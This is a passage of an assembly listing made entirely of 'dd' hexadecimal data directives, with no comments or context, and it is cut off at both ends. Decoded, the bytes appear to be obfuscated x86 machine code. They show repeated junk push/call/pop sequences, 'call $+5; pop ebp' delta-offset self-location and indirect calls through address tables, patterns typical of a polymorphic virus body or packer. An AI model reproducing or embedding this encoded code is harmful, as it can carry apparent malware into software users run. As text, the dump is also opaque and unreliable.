59C35920h, 4244C89h, 4244481h, 16h, 8C35141h dd 8D29E811h, 935291Dh, 0C7D8D31h, 84E90935h, 0F000000h dd 85C7F6BFh, 938E732h, 1, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0C8C35343h, 0E9F3B70Fh, 53h, 14E960h dd 5D4F0000h, 3A3627ABh, 70E89D12h, 0EDA701D7h, 86672CAAh dd 0DE8B44DBh, 3285C761h, 938E7h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0F07DC355h, 89A67EC4h, 35236D85h, 5B58B09h, 8D09350Bh dd 3512219Dh, 0E6816609h, 23818227h, 0FFFFFEFFh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0DC35141h, 5A401018h dd 9EE5ACCFh, 0BC6DBE80h, 8C664557h, 0E4BE66DBh, 4C3F631h dd 69840Fh, 8D010000h, 93526D1h, 247195FFh, 50900935h dd 9331D0BEh, 0F505E44h, 1B88h, 0E8525000h, 9, 4AB809EDh dd 7212C1AEh, 310F5E40h, 310F5250h, 585A585Ah, 56006A90h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 9FB5EE7h, 1FC4EF6Eh, 0AE9h, 64458800h, 3423CF17h, 0E979776Bh dd 3ACh, 70E600B0h, 6A71E4F5h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0FA34C357h, 0F67658Eh dd 6E9D8B6h, 0AD000000h, 0B03FF6CCh, 6BA8Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 66FA42C3h, 0B58BF78Bh, 9350455h, 6AC38Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0DF4983C3h dd 6DB58BEFh, 0C1093531h, 6A04E8h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 251E8EC3h, 668B7B2Eh dd 0A5EBCE81h, 0E9E2F766h, 0Eh, 515A7A41h, 0D4D92EB3h dd 3C3A80DFh, 0D82BA1EDh, 68E0Fh, 0C6810000h, 34D2A071h dd 0FE95393h, 8B000000h, 8E7B4329h, 0B24DAAD4h, 740FD888h dd 505EB8DEh, 93F08B66h, 28EDB5FFh, 95FF0935h, 9350829h dd 2E9B58Bh, 11E90935h, 2D000000h, 24612F97h, 14E392DBh dd 27192C24h, 0A37C97C4h, 9E900B0h, 32000000h, 133489Bh dd 0BCE930EBh, 6A70E6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0F5FE4CC3h, 0D58D8B60h, 66093526h dd 325ED381h, 0EE961h, 61480000h, 26A7348Fh, 55DBFD61h dd 0FCF0450Ch, 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 33791AC3h, 0F613CE0h, 21B83h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 3BC974A0h, 0CE8B6044h, 1EC1852Bh, 0F610935h, 6AD8B6h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 8B136DC3h, 350495B5h, 6BA09h, 0F38B0000h, 6AC38Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 850164C3h, 9350B01h, 6A04E8C1h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0A12C356h dd 0F766F08Bh, 0D8B0FE2h, 0E8000000h, 7, 0B2DE2EDEh, 5E6C2DFBh dd 0BD89D82Bh, 9351B7Dh, 2BF28B58h, 55880FD8h, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 3154C355h, 3505919Dh, 0BE6609h, 7B96Dh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 8F0FA9C3h, 17h, 0BE8h, 0A2640A00h, 0A6A2FAE0h, 7B07D1A4h dd 850Fh, 295E0000h, 35060195h, 0C18309h, 6158D89h, 0D93B0935h dd 0DA860Fh, 8C660000h, 5FF681D9h, 0F62FFF54h, 840F04C1h dd 0C0h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 95C35141h, 0F7EE836Eh, 810B20D3h, 0C2CC0EDEh, 7195FF0Ch dd 57093524h, 12E9h, 9026A400h, 0B3829531h, 1E2C1391h dd 0F4D1F33Bh, 5E10DD5Bh, 50006A5Bh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 9BC21CD5h dd 41C9AA38h, 6AC32B4Ah, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0A07DC356h, 8343DA7h dd 860F0000h, 28h, 0E9F28B66h, 28h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 79C35545h, 42EE943Bh, 0BE66C08Bh dd 0F78BD45Fh, 0D88BC38Bh, 16F1B58Bh, 85C70935h, 9350441h dd 3B88C13Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 88C35141h, 4355E083h, 0A59D29C7h, 8B093526h, 66BE66C0h dd 0EDBD81D9h, 0D0093528h, 0F000007h, 3585h, 0D5B52300h dd 66093521h, 0FF1477BEh, 3528ED85h, 52006A09h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 29575090h dd 352D0995h, 0B5FF5E09h, 93528EDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 9BC35343h, 0FF7AE1CBh, 35082995h dd 49BD0109h, 90093530h dd 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 387EFEC3h, 83F3B70Fh, 352365BDh, 840F0009h dd 0Eh, 0E9F7BF0Fh, 214h, 0B9EEC681h, 0DF8C077Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0DEC35141h, 0C7F766F5h dd 850F0004h, 1E4h, 4F10F681h, 0BF4FF8h, 66000000h, 8DA843BEh dd 38F13C9Dh, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0D6816E6Ch, 61D4DEDDh, 0E9566050h dd 13h, 0C9902E78h, 7FB769EFh, 40E49A0h, 23B6713Bh, 5ED442CDh dd 14E9h, 0B6552500h, 0BEB907AFh, 3AEDF738h, 662D25E7h dd 40FB2756h, 1C89615Fh, 0CE816624h, 0FF644872h, 35h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 0AE23992h, 2865B58Bh, 89640935h, 25h, 8B5E5700h, 0E98D01C4h dd 0CD09352Fh, 8B00EB01h, 350A45B5h, 52006A09h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0EA48AC84h dd 7DBD89h, 8F640935h, 5, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 9CB5BC89h dd 2409B509h, 0C4830935h, 0BDBD0904h, 0B093522h, 0C5840FC0h dd 1000000h, 351EB9BDh, 0FBBE6609h, 2BD8D1Ah, 6A09354Ch dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0F440C357h, 5B878h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 40F11BC3h dd 31F6F635h, 66F28B03h, 0FFA19EBEh, 53006AE7h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 661AF990h dd 8B57F18Bh, 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h dd 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 1FC35747h, 9D89820Eh dd 9353339h, 65E9CA2Bh, 0E9FFFFF7h, 5, 0F9C0F70h, 6AC18B08h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0FCC3C353h, 4DD54B1Eh, 4EBB223h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 31C35242h dd 6D8D8B60h, 81093529h, 10EC3FE6h, 6A6109h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 858DCAC3h dd 9352659h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 81C35646h, 3F7DA711h, 60A9DBB1h, 0AE9h, 0AB5F8300h dd 3C086FD9h, 0F6F4ADBh, 9061FBB7h, 5E8h, 9CB09600h, 505F50DEh dd 8574BE66h, 0F1B58B90h, 6A09351Bh, 0B58B5100h, 9352CE1h dd 8D09605Fh, 93523B5h, 0F006A61h, 858DF9BFh, 938F3A8h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A9C35646h dd 0D3ECA413h, 697910C7h, 0C083F28Bh, 0B70F5705h, 0BE505EFEh dd 7B2D93D4h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0BA24C356h, 890F86h dd 6A000000h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0ED1C4E78h, 0FB2B2F81h, 69BD0184h dd 0E9093512h, 7, 45B90C69h, 6AE61DDBh, 0A6BF6600h, 3195FF38h dd 6A093503h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 160AC356h, 8F3DE6F4h, 8DB50B30h dd 8D09351Dh, 389AAB9Dh, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 9D890EE1h, 9351BC9h, 0CD5BD8Bh dd 0D3FF0935h, 8E8h, 0B069FE00h, 54C25789h, 53CE81FCh dd 5F5F4B81h, 85FFF88Bh, 9353009h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 88C35646h, 45E9C16Ah, 0E8000008h dd 0 dd 0B2ED815Dh, 6A0938F3h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0ACB8C357h, 0B2103A9Ch dd 0D8D0Fh, 66600000h, 0D4EDE681h, 0BA5D381h, 81617A38h dd 3528EDBDh, 7D009h, 3F860F00h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 2FB6C355h dd 0B219D8Bh, 8D0F0935h, 15h, 10E9h, 736F4A00h, 0D59F3EF7h dd 9FFF2529h, 80F755ACh, 0E381E2h, 52000001h, 0DB0B5FFCh dd 0AD850Fh, 8B660000h, 0BABD83F2h, 938F1h, 67840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0F7A0EDC3h, 0FE98665h, 0B88h, 6E900h, 0D5DA0000h, 4CFCD986h dd 4850Fh, 0BF660000h, 6CE94E4Ah, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 89B7C350h, 0B891361Ch, 8B66B882h, 0BA85C7F8h, 10938F1h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 687FC356h, 0A4C69E73h, 16E9h dd 45B58B00h, 0C709352Bh, 38F1BA85h, 9, 25B58900h, 8D093510h dd 350B219Dh, 0FFBF0F09h, 27B18D89h, 23810935h, 0FFFFFEFFh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 8FC35747h dd 8C66721Dh, 52006ADBh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0B58B2DCAh, 9350EC5h, 0F04C3F6h dd 6384h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 930AAF23h, 95FFFC2Dh, 9352471h, 8EA665BEh dd 0E850904Eh, 7, 0FD4DB7F7h, 5E226C6Fh, 53006A90h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 63E6029Ch, 1AAD7FDAh, 0F7BF0FD3h, 415E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 94B7156h, 3502A58Dh, 5000B009h, 0A518D29h, 0E65F0935h dd 95852970h, 0E409351Eh, 51006A71h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0BE90ADADh dd 0A55684B1h, 0D8B60F98h, 0BE8h, 81BEE000h, 0E743F1Ah dd 306D7C49h, 0ABDB52Bh, 0BA5F0935h, 6, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 8DC35343h, 25B331Ah dd 0C38BDDFBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 67C35747h, 11A55943h, 0F8510C3h, 28Eh, 0C1F28B00h dd 6A04E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 43D077C3h, 2C91B589h, 0F7660935h, 56006AE2h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 107CF68Bh, 0E9031EC4h, 800F3C1Dh, 14h, 0FE9h, 0F5CE6200h dd 6209174Eh, 56A39BEBh, 9EDFB23Ah, 6053D82Bh, 2ADDBD03h dd 8D330935h, 93525E1h, 8B505E61h, 241C89F3h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0DCC35545h, 0EDB5FFFCh dd 6A093528h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 363BC353h, 0C0EB71F6h, 82995FFh dd 5F530935h, 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 2034BAC3h, 0FE944A2h, 6E000000h dd 0B5B91CDAh, 13FA1377h, 65CBCFCFh, 70E6AE12h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 75C35646h, 6A71E4h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0C3BF8EC3h, 3C29C843h, 0FF830F61h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 489DC351h, 0C8BABF75h, 0B58B1522h, 9350E1Dh, 89D8B60Fh dd 3525FD8Dh, 6BA09h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 75E2D2C3h, 119D01F9h dd 0E809352Ch, 10h, 546E8CF6h, 1CEEC6F8h, 92DA1C8Dh, 8435BEACh dd 1259501h, 8B5E0935h, 6800FC3h, 81000000h, 0CEE9D6E6h dd 4E8C170h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 54C35545h, 7B759478h, 0F766A2C8h, 0D9BD8BE2h, 0E909350Fh dd 11h, 0B7A0AD3Dh, 0B01C437Ch, 5A5DCC62h, 21991CBAh, 6AD82B05h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0A84FC352h, 58EF801Ah, 23C58589h, 0D82B0935h dd 104880Fh, 7B90000h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 73E3C356h dd 0C3B56DABh, 0AE8BF54h, 8A000000h, 5F031440h, 5D1B0B2Bh dd 315FF91Fh, 352B79B5h, 0C18309h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0B5C35747h, 0B6CE257Eh, 0DA8EE952h dd 2C11BD8Bh, 0BD8B0935h, 9350C09h, 860FD93Bh, 8Ah, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 6BC35040h, 3289A5C1h dd 9890Fh, 810F0000h, 3, 66F88B66h, 35BED98Ch, 0F67FCF6Eh dd 840F04C1h, 45h, 5E8h, 302C6D00h, 85898E20h, 9350F09h dd 7195FF5Fh, 0F9093524h, 69B58B5Bh, 2B09352Ah, 9E9C3h dd 7570000h, 933C80D1h, 3D526C7Fh, 834h, 0B860Fh, 0BD8B0000h dd 935225Dh, 5E9h, 66C08B00h, 0C38BFA8Bh, 8E0FD88Bh, 0Ah dd 0F616060h, 86h, 85C76100h, 9351221h, 1F64E5FFh, 261DBD89h dd 0C08B0935h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0DBC35242h, 81FAB70Fh, 3528EDBDh, 7D009h, 54850F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 2EDCC356h, 0E8BC068Ch, 0BD293ED9h dd 9350D6Dh, 28ED85FFh, 6A0935h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 9560ECC3h, 7575B66Bh dd 0FF33B972h, 3528EDB5h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 9BA1F543h dd 68A0Fh, 0C7810000h, 532DCF02h, 82995FFh, 0F98B0935h dd 0C6816690h, 0B589C5ADh, 9351F81h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 8AC35141h, 25C916E9h, 0BF536BDFh dd 140EDA04h, 0AE8h, 0B9FF2F00h, 0C5448706h, 0E90CE52Ah dd 0Fh, 9BA886A2h, 0E5E5DD4Eh, 3F45E57Dh, 5EFDDA09h, 52006A5Eh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 5E9E8h, 20F50000h, 6AA76D1Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 4643C353h, 0FC70800h dd 0EDBD8B8Dh, 0F09352Fh, 481h, 67BF6600h, 52006A55h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0AD956A94h, 6A6548h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h dd 51410000h, 6AA2DDC3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0BB24C353h, 75C6A106h dd 27CDBD33h, 0B58B0935h, 9353091h, 0FFF7C2E9h, 0EBBE66FFh dd 0F0BF0FC6h, 157704EBh, 0ADE97DA8h, 4A000005h, 0ED2CBE8h dd 63158613h, 14CCD1CCh, 5E227B1Ch, 0D2C9D2C7h, 4158D1B9h dd 0A8FA45Ch, 4451CF91h, 148DA157h, 0B7EDA187h, 12FD470Dh dd 47F7DC09h, 0D143AE2Bh, 0A45C4158h, 70E40F88h, 607DF3FCh dd 0EDE10F91h, 0B2425FD3h, 3DA4B92Bh, 0E6CE4FB6h, 19821F13h dd 0CFCCC967h, 678A1709h, 0F3D907C3h, 0E71C3641h, 41BB019Fh dd 29AF1C36h, 0A6BD2FC7h, 9D27BD11h, 991C3641h, 41E7CD17h dd 61F1C36h, 0E6DC6093h, 0A2E96F92h, 0CA242DBBh, 6EDFCD24h dd 607DF386h, 2A9C53Bh, 78F70D7Ah, 0DA9F655Dh, 7D0BE608h dd 1C358C3Ah, 5C6AE3Fh, 8950AEC8h, 779Fh, 2B47F000h, 0DCF9728Ch dd 6B519315h, 9B1C3641h, 5AB1984h, 1A6208EBh, 0EFD7808Ch dd 0A985C62h, 1C3596C2h, 965D7AF6h, 6C920F22h, 1C0CE7F0h dd 0B122C5AFh, 223FC10Dh, 96872DB7h, 5D831C35h, 7F584C99h dd 8950A54Eh, 619h, 0D64B7500h, 47842BCBh, 0D044AF2Ah dd 7688445Dh, 6772EDFAh, 72E66D89h, 0AF16DDFAh, 0BEB3462Eh dd 549F3A33h, 0FB7D1ED0h, 32217A67h, 23AB2E47h, 377D2367h dd 331C3641h, 418D37ADh, 67891C36h, 819C108Fh, 0B4D8B418h dd 3641C4EEh, 0C41EC01Ch, 1C3641FEh, 8100F4FAh, 27D2C213h dd 4E128B0Eh, 0B7FDA3D2h, 0B31C3641h, 8A30C32Dh, 15E1FE70h dd 0DA19849Bh, 8CA517F7h, 9923C10Dh, 8D1C3641h, 0AE96EB0Bh dd 4FFF70ADh, 0BA1789h, 49730000h, 0CEF4AAD5h, 0CA1C364Ch dd 8327CA24h, 364C575Dh, 0A34D531Ch, 2E47AC53h, 396723ABh dd 1C364193h, 0E956187h, 3128859Ah, 748646A8h, 9418DBFCh dd 0EE5F26Ah, 7EE36A8Ah, 0EE10351Fh, 0E926176h, 419A20BEh dd 88E1C36h, 0DEFB72ECh, 0B7223BBDh, 924963Ch, 72EA6490h dd 0E3AB8E65h, 3B43E89Bh, 10E41B6Fh, 0A5F8D1C3h, 0E28950F6h dd 74h, 0BB2E47B1h, 438917A4h, 371C3641h, 1DB13FB1h, 0E2118CA3h dd 0A517965Eh, 92071E8Bh, 823955Ch, 7CF2668Dh, 0B02D945Fh dd 13BB21C4h, 8D6970E9h, 75874C38h, 9418DBFEh, 6277EE60h dd 3A801E6Ah, 2E1C3641h, 0BC6F4CA8h, 578D2A47h, 1C36416Dh dd 0B40E8BA5h, 0A735BC32h, 1C364120h, 0E7ECD825h, 41B7FDA3h dd 2DB31C36h, 0F9E429C9h, 183894Fh, 44000000h, 6B76EB15h dd 7EF00488h, 0A8D8F4E1h, 0A85C4021h, 4AC92D57h, 0B63D5AD6h dd 41B02D42h, 0A41750CFh, 15BF787h, 1DB33EB0h, 0CD611400h dd 0FB681AD4h, 0F4E17E09h, 4C49E6D8h, 0D41FBCB2h, 0DFC7A450h dd 0E5CDF9Fh, 0BFE8E8A1h, 1B21FE83h, 0E97C7876h, 7D1A16DEh dd 9A455B73h, 6815035Ch, 0C58B9A18h, 3FB77F2Eh, 93061F91h dd 9E24BA60h, 9A1300EEh, 0B24DA14h, 1F91608Eh, 53059603h dd 0F00AC2DFh, 0C90637Ch, 0F52BA2B4h, 15E16F64h, 1DB6FE8Eh dd 35C61301h, 37A0BC4Fh, 0E9B6E797h, 0FAC46D05h, 289BD1C6h dd 0BD3924B4h, 9B0418E0h, 4F48E458h, 0FDE734A4h, 1489160Ah dd 5469621Ah, 3060BBC8h, 0B44055CEh, 853CC10Ch, 156A692h dd 15E50000h, 41A12BB9h, 23951C36h, 0E0648F0Ah, 485BE60Eh dd 7BA63C90h, 7915035Eh, 14087C77h, 0A21C128Bh, 77E90D8Ah dd 0A113DEFBh, 600B248Dh, 1EBB6574h, 767D73F0h, 87F5FCF2h dd 97292E16h, 76FAF99Ch, 87100C7Eh, 67D93416h, 698E9285h dd 3D000000h, 0D8B1AD15h, 7BB024D8h, 0ABEFE5B4h, 16DE1003h dd 6864248Bh, 35A5C03Ah, 3FB2341Ch, 35A60BB1h, 190B1A1Ch dd 869E5E55h, 625EE211h, 0BCC2FF6Fh, 3CB25AFh, 0F5BD6CBBh dd 12965D7Ch, 3D32BCAEh, 15CF15B9h, 911C35A6h, 0F4988E0Fh dd 35A604AEh, 16DE001Ch, 0AB2Eh, 0CB605A00h, 21A123CEh dd 4009E4E6h, 0AA49ADAAh, 0BC39B2Eh, 36972D5h, 8C406615h dd 14DFFC72h, 39DD6490h, 0C82CA9C7h, 0E0BDDA56h, 589B0418h dd 117D7C8h, 0FCE83513h, 8E4A7D7h, 6964E017h, 3753F65h dd 6F711301h, 90191587h, 6DEF029Fh, 4C341A83h, 3F5E2F27h dd 0C95C986Ah, 0F8A626FEh, 0BD8C1A2h, 0A4C75E60h, 0A84F9028h dd 14DF1166h, 1CA63C90h, 181C2888h, 2EB05E96h, 0C4DD51C3h dd 0E6CE3F2Dh, 0D7F7AFFAh, 100D3C9h, 98912715h, 0F8AEEF01h dd 0DB86A4C8h, 0E7BDE566h, 0E50700Eh, 415F6F69h, 13008B7Bh dd 0E68D696Fh, 5BD39B2Eh, 0BF31B33Eh, 0F9F6AF0Fh, 0F1009D93h dd 264A536Fh, 59B3FB7h, 150E7D8Fh, 3AAE456Bh, 1CE4B926h dd 0CC5C9700h, 5F6E8F8Ah, 9B6E56C7h, 8B21A87h, 8D6A8A17h dd 0A74A57CBh, 559C3D35h, 7B0EF667h, 0DFA1FAE7h, 0B39B5643h dd 3, 47844F14h, 0CF41B015h, 39AB4653h, 0C537BA27h, 54C82BAEh dd 0C335BCDDh, 50C42FAAh, 0C034BFD8h, 4DBF32AFh, 5D2AC9D0h dd 5E08950h, 4, 4B951h, 0C8290000h, 24048759h, 15C2685Ch dd 14890000h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h dd 2434895Ch, 2867B850h, 0D8F74F02h, 0AA7C220Dh, 46B95105h dd 31BCC704h, 0C28959C8h, 4EC8158h, 89000000h, 4812424h dd 424h, 68505E00h, 8, 89F00158h, 348B5810h, 0E2895224h dd 4C281h, 0C2810000h, 4, 5C241487h, 5224148Bh, 0C281E289h dd 4, 8704C283h, 0E95C2414h, 0FFFC7D34h, 53568A8Bh, 64C94740h dd 39010EB8h, 0FFC50309h, 2737CCE0h, 0F2ECF169h, 893F5310h dd 90F7A505h, 223B3302h, 0B89E6C18h, 325BA67Fh, 0CA355E18h dd 2977E43Bh, 9C18B60h, 350E3D8Dh, 4EB09h, 29000000h, 352AD59Dh dd 34A7BE09h, 13E853D6h, 98000000h, 33F5E5EDh, 0A83C07BCh dd 1480B9E1h, 0B25A65C3h, 0EF81AABFh, 2A1D01C6h, 7DBD895Eh dd 8D093507h, 35265985h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 8D0F84B9h, 0 dd 0AFBF5350h, 5E67FEE5h, 89240489h, 350B019Dh, 6A006A09h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0A83EC355h, 0DDBD31A3h, 6A093511h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0EF32E06Ah, 11E9h, 0D9E5B900h, 323B2F11h, 0FB8687A8h dd 62790B91h, 858D54BBh, 93903D6h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 82C35141h, 0DC4D84A6h, 83F5CBECh dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 9D700EC3h, 0B426100Eh, 8BA720DFh, 39B501F2h dd 50093510h, 0F38B6653h, 2404895Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0F1C35646h, 33813BF4h, 3526E5B5h dd 0E9006A09h, 13h, 0F338EA0h, 4BAAE299h, 8DA9FAE1h, 985FFAC7h dd 0BFDA3444h, 5CF8C989h, 0BD23006Ah, 9351C25h, 33195FFh dd 6A0935h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0E1A619C3h, 16AF1F4Fh, 8D9EE607h, 389AAB9Dh dd 62F78109h, 0FF083DBAh, 51006AD3h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 8B666086h dd 0BDBB66F9h, 85FF61D7h, 9353009h, 13E9h, 0AAEF7400h dd 7CE05416h, 2B47F2DAh, 98F92E13h, 44CCDB8Eh, 898E9h dd 0E800h, 815D0000h, 3903E0EDh, 0EDBD8109h, 0D0093528h dd 0F000007h, 1C186h, 0FB8B6600h, 0D59D8Bh, 0BE90935h dd 0B3000000h, 0E8AED3A5h, 5DFD1B6Bh, 5F579641h, 100E381h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0C891E6C3h, 12840Fh, 6E80000h, 0E9000000h dd 0DCEADCA3h, 8A0FA3h, 5F000000h, 850FDB0Bh, 0B3h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0A8C35646h, 0B5893A91h dd 935242Dh, 0BD83FB8Bh, 93901E1h, 45840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 2AA0C352h, 6E8B2h, 1690000h, 2908D241h, 0AD5B58Bh dd 8B5F0935h, 0A0E9F7h, 9E90000h, 0CA000000h, 0FF7A5440h dd 0BAAF13DAh, 1E185C7h, 10939h, 89600000h, 3524F59Dh dd 618D8909h, 61093523h, 75E9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0C7F85CAEh dd 3901E185h, 9, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 0C1ABA71Fh, 0FE8h, 0B7D82000h dd 0EBF4A124h, 0CBBCD7C5h, 6982BBB0h, 0DE8h, 7AC84300h dd 0A594280Bh, 0AB9FB2Eh, 0B50936FDh, 935269Dh, 9D8D5E5Eh dd 93500D5h, 0E75B58Bh, 800F0935h, 6, 0C2A1D681h, 238133F6h dd 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0F8C35141h, 0CD70BE66h, 13E9h, 37C64300h, 0BBA26105h dd 0C68C6E94h, 383AF40Ah, 3948F133h, 8C66FA8Bh, 53006ADBh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0DF284C51h, 0F04C3F6h, 0AC84h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0C9EF295Fh dd 14E9h, 4DAD5800h, 29181CEBh, 48AEF3A2h, 0DA354CACh dd 0A1583351h, 7195FF60h, 6A093524h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 8BDAC357h dd 90FFBF0Fh, 14E8h, 7CB8FB00h, 0C7719A72h, 316313EEh dd 7E96D646h, 